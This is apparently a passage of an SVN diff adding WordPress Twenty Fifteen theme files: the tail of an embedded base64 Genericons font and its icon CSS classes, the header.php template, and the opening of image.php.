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) format('woff'),
+         url('Genericons.ttf') format('truetype'),
+         url('Genericons.svg#genericonsregular') format('svg');
+    font-weight: normal;
+    font-style: normal;
+}
+
+@media screen and (-webkit-min-device-pixel-ratio:0) {
+  @font-face {
+    font-family: "Genericons";
+    src: url("./Genericons.svg#Genericons") format("svg");
+  }
+}
+
+
+/**
+ * All Genericons
+ */
+
+.genericon {
+	font-size: 16px;
+	vertical-align: top;
+	text-align: center;
+	-moz-transition: color .1s ease-in 0;
+	-webkit-transition: color .1s ease-in 0;
+	display: inline-block;
+	font-family: "Genericons";
+	font-style: normal;
+	font-weight: normal;
+	font-variant: normal;
+	line-height: 1;
+	text-decoration: inherit;
+	text-transform: none;
+	-moz-osx-font-smoothing: grayscale;
+	-webkit-font-smoothing: antialiased;
+	speak: none;
+}
+
+
+/**
+ * Individual icons
+ */
+
+.genericon-404:before { content: "\f423"; }
+.genericon-activity:before { content: "\f508"; }
+.genericon-anchor:before { content: "\f509"; }
+.genericon-aside:before { content: "\f101"; }
+.genericon-attachment:before { content: "\f416"; }
+.genericon-audio:before { content: "\f109"; }
+.genericon-bold:before { content: "\f471"; }
+.genericon-book:before { content: "\f444"; }
+.genericon-bug:before { content: "\f50a"; }
+.genericon-cart:before { content: "\f447"; }
+.genericon-category:before { content: "\f301"; }
+.genericon-chat:before { content: "\f108"; }
+.genericon-checkmark:before { content: "\f418"; }
+.genericon-close:before { content: "\f405"; }
+.genericon-close-alt:before { content: "\f406"; }
+.genericon-cloud:before { content: "\f426"; }
+.genericon-cloud-download:before { content: "\f440"; }
+.genericon-cloud-upload:before { content: "\f441"; }
+.genericon-code:before { content: "\f462"; }
+.genericon-codepen:before { content: "\f216"; }
+.genericon-cog:before { content: "\f445"; }
+.genericon-collapse:before { content: "\f432"; }
+.genericon-comment:before { content: "\f300"; }
+.genericon-day:before { content: "\f305"; }
+.genericon-digg:before { content: "\f221"; }
+.genericon-document:before { content: "\f443"; }
+.genericon-dot:before { content: "\f428"; }
+.genericon-downarrow:before { content: "\f502"; }
+.genericon-download:before { content: "\f50b"; }
+.genericon-draggable:before { content: "\f436"; }
+.genericon-dribbble:before { content: "\f201"; }
+.genericon-dropbox:before { content: "\f225"; }
+.genericon-dropdown:before { content: "\f433"; }
+.genericon-dropdown-left:before { content: "\f434"; }
+.genericon-edit:before { content: "\f411"; }
+.genericon-ellipsis:before { content: "\f476"; }
+.genericon-expand:before { content: "\f431"; }
+.genericon-external:before { content: "\f442"; }
+.genericon-facebook:before { content: "\f203"; }
+.genericon-facebook-alt:before { content: "\f204"; }
+.genericon-fastforward:before { content: "\f458"; }
+.genericon-feed:before { content: "\f413"; }
+.genericon-flag:before { content: "\f468"; }
+.genericon-flickr:before { content: "\f211"; }
+.genericon-foursquare:before { content: "\f226"; }
+.genericon-fullscreen:before { content: "\f474"; }
+.genericon-gallery:before { content: "\f103"; }
+.genericon-github:before { content: "\f200"; }
+.genericon-googleplus:before { content: "\f206"; }
+.genericon-googleplus-alt:before { content: "\f218"; }
+.genericon-handset:before { content: "\f50c"; }
+.genericon-heart:before { content: "\f461"; }
+.genericon-help:before { content: "\f457"; }
+.genericon-hide:before { content: "\f404"; }
+.genericon-hierarchy:before { content: "\f505"; }
+.genericon-home:before { content: "\f409"; }
+.genericon-image:before { content: "\f102"; }
+.genericon-info:before { content: "\f455"; }
+.genericon-instagram:before { content: "\f215"; }
+.genericon-italic:before { content: "\f472"; }
+.genericon-key:before { content: "\f427"; }
+.genericon-leftarrow:before { content: "\f503"; }
+.genericon-link:before { content: "\f107"; }
+.genericon-linkedin:before { content: "\f207"; }
+.genericon-linkedin-alt:before { content: "\f208"; }
+.genericon-location:before { content: "\f417"; }
+.genericon-lock:before { content: "\f470"; }
+.genericon-mail:before { content: "\f410"; }
+.genericon-maximize:before { content: "\f422"; }
+.genericon-menu:before { content: "\f419"; }
+.genericon-microphone:before { content: "\f50d"; }
+.genericon-minimize:before { content: "\f421"; }
+.genericon-minus:before { content: "\f50e"; }
+.genericon-month:before { content: "\f307"; }
+.genericon-move:before { content: "\f50f"; }
+.genericon-next:before { content: "\f429"; }
+.genericon-notice:before { content: "\f456"; }
+.genericon-paintbrush:before { content: "\f506"; }
+.genericon-path:before { content: "\f219"; }
+.genericon-pause:before { content: "\f448"; }
+.genericon-phone:before { content: "\f437"; }
+.genericon-picture:before { content: "\f473"; }
+.genericon-pinned:before { content: "\f308"; }
+.genericon-pinterest:before { content: "\f209"; }
+.genericon-pinterest-alt:before { content: "\f210"; }
+.genericon-play:before { content: "\f452"; }
+.genericon-plugin:before { content: "\f439"; }
+.genericon-plus:before { content: "\f510"; }
+.genericon-pocket:before { content: "\f224"; }
+.genericon-polldaddy:before { content: "\f217"; }
+.genericon-portfolio:before { content: "\f460"; }
+.genericon-previous:before { content: "\f430"; }
+.genericon-print:before { content: "\f469"; }
+.genericon-quote:before { content: "\f106"; }
+.genericon-rating-empty:before { content: "\f511"; }
+.genericon-rating-full:before { content: "\f512"; }
+.genericon-rating-half:before { content: "\f513"; }
+.genericon-reddit:before { content: "\f222"; }
+.genericon-refresh:before { content: "\f420"; }
+.genericon-reply:before { content: "\f412"; }
+.genericon-reply-alt:before { content: "\f466"; }
+.genericon-reply-single:before { content: "\f467"; }
+.genericon-rewind:before { content: "\f459"; }
+.genericon-rightarrow:before { content: "\f501"; }
+.genericon-search:before { content: "\f400"; }
+.genericon-send-to-phone:before { content: "\f438"; }
+.genericon-send-to-tablet:before { content: "\f454"; }
+.genericon-share:before { content: "\f415"; }
+.genericon-show:before { content: "\f403"; }
+.genericon-shuffle:before { content: "\f514"; }
+.genericon-sitemap:before { content: "\f507"; }
+.genericon-skip-ahead:before { content: "\f451"; }
+.genericon-skip-back:before { content: "\f450"; }
+.genericon-skype:before { content: "\f220"; }
+.genericon-spam:before { content: "\f424"; }
+.genericon-spotify:before { content: "\f515"; }
+.genericon-standard:before { content: "\f100"; }
+.genericon-star:before { content: "\f408"; }
+.genericon-status:before { content: "\f105"; }
+.genericon-stop:before { content: "\f449"; }
+.genericon-stumbleupon:before { content: "\f223"; }
+.genericon-subscribe:before { content: "\f463"; }
+.genericon-subscribed:before { content: "\f465"; }
+.genericon-summary:before { content: "\f425"; }
+.genericon-tablet:before { content: "\f453"; }
+.genericon-tag:before { content: "\f302"; }
+.genericon-time:before { content: "\f303"; }
+.genericon-top:before { content: "\f435"; }
+.genericon-trash:before { content: "\f407"; }
+.genericon-tumblr:before { content: "\f214"; }
+.genericon-twitch:before { content: "\f516"; }
+.genericon-twitter:before { content: "\f202"; }
+.genericon-unapprove:before { content: "\f446"; }
+.genericon-unsubscribe:before { content: "\f464"; }
+.genericon-unzoom:before { content: "\f401"; }
+.genericon-uparrow:before { content: "\f500"; }
+.genericon-user:before { content: "\f304"; }
+.genericon-video:before { content: "\f104"; }
+.genericon-videocamera:before { content: "\f517"; }
+.genericon-vimeo:before { content: "\f212"; }
+.genericon-warning:before { content: "\f414"; }
+.genericon-website:before { content: "\f475"; }
+.genericon-week:before { content: "\f306"; }
+.genericon-wordpress:before { content: "\f205"; }
+.genericon-xpost:before { content: "\f504"; }
+.genericon-youtube:before { content: "\f213"; }
+.genericon-zoom:before { content: "\f402"; }
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/header.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/header.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/header.php	(revision 56912)
@@ -0,0 +1,52 @@
+<?php
+/**
+ * The template for displaying the header
+ *
+ * Displays all of the head element and everything up until the "site-content" div.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+?><!DOCTYPE html>
+<html <?php language_attributes(); ?> class="no-js">
+<head>
+	<meta charset="<?php bloginfo( 'charset' ); ?>">
+	<meta name="viewport" content="width=device-width">
+	<link rel="profile" href="http://gmpg.org/xfn/11">
+	<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>">
+	<!--[if lt IE 9]>
+	<script src="<?php echo esc_url( get_template_directory_uri() ); ?>/js/html5.js"></script>
+	<![endif]-->
+	<?php wp_head(); ?>
+</head>
+
+<body <?php body_class(); ?>>
+<div id="page" class="hfeed site">
+	<a class="skip-link screen-reader-text" href="#content"><?php _e( 'Skip to content', 'twentyfifteen' ); ?></a>
+
+	<div id="sidebar" class="sidebar">
+		<header id="masthead" class="site-header" role="banner">
+			<div class="site-branding">
+				<?php
+					twentyfifteen_the_custom_logo();
+
+					if ( is_front_page() && is_home() ) : ?>
+						<h1 class="site-title"><a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home"><?php bloginfo( 'name' ); ?></a></h1>
+					<?php else : ?>
+						<p class="site-title"><a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home"><?php bloginfo( 'name' ); ?></a></p>
+					<?php endif;
+
+					$description = get_bloginfo( 'description', 'display' );
+					if ( $description || is_customize_preview() ) : ?>
+						<p class="site-description"><?php echo $description; ?></p>
+					<?php endif;
+				?>
+				<button class="secondary-toggle"><?php _e( 'Menu and widgets', 'twentyfifteen' ); ?></button>
+			</div><!-- .site-branding -->
+		</header><!-- .site-header -->
+
+		<?php get_sidebar(); ?>
+	</div><!-- .sidebar -->
+
+	<div id="content" class="site-content">
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/image.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/image.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/image.php	(revision 56912)
@@ -0,0 +1,94 @@
+<?php
+/**
+ * The template for displaying image attachments
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<main id="main" class="site-main" role="main">
+
+			<?php
+				// Start the loop.
+				while ( have_posts() ) : the_post();
+			?>
+
+				<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+
+					<nav id="image-navigation" class="navigation image-navigation">
+						<div class="nav-links">
+							<div class="nav-previous"><?php previous_image_link( false, __( 'Previous Image', 'twentyfifteen' ) ); ?></div><div class="nav-next"><?php next_image_link( false, __( 'Next Image', 'twentyfifteen' ) ); ?></div>
+						</div><!-- .nav-links -->
+					</nav><!-- .image-navigation -->
+
+					<header class="entry-header">
+						<?php the_title( '<h1 class="entry-title">', '</h1>' ); ?>
+					</header><!-- .entry-header -->
+
+					<div class="entry-content">
+
+						<div class="entry-attachment">
+							<?php
+								/**
+								 * Filter the default Twenty Fifteen image attachment size.
+								 *
+								 * @since Twenty Fifteen 1.0
+								 *
+								 * @param string $image_size Image size. Default 'large'.
+								 */
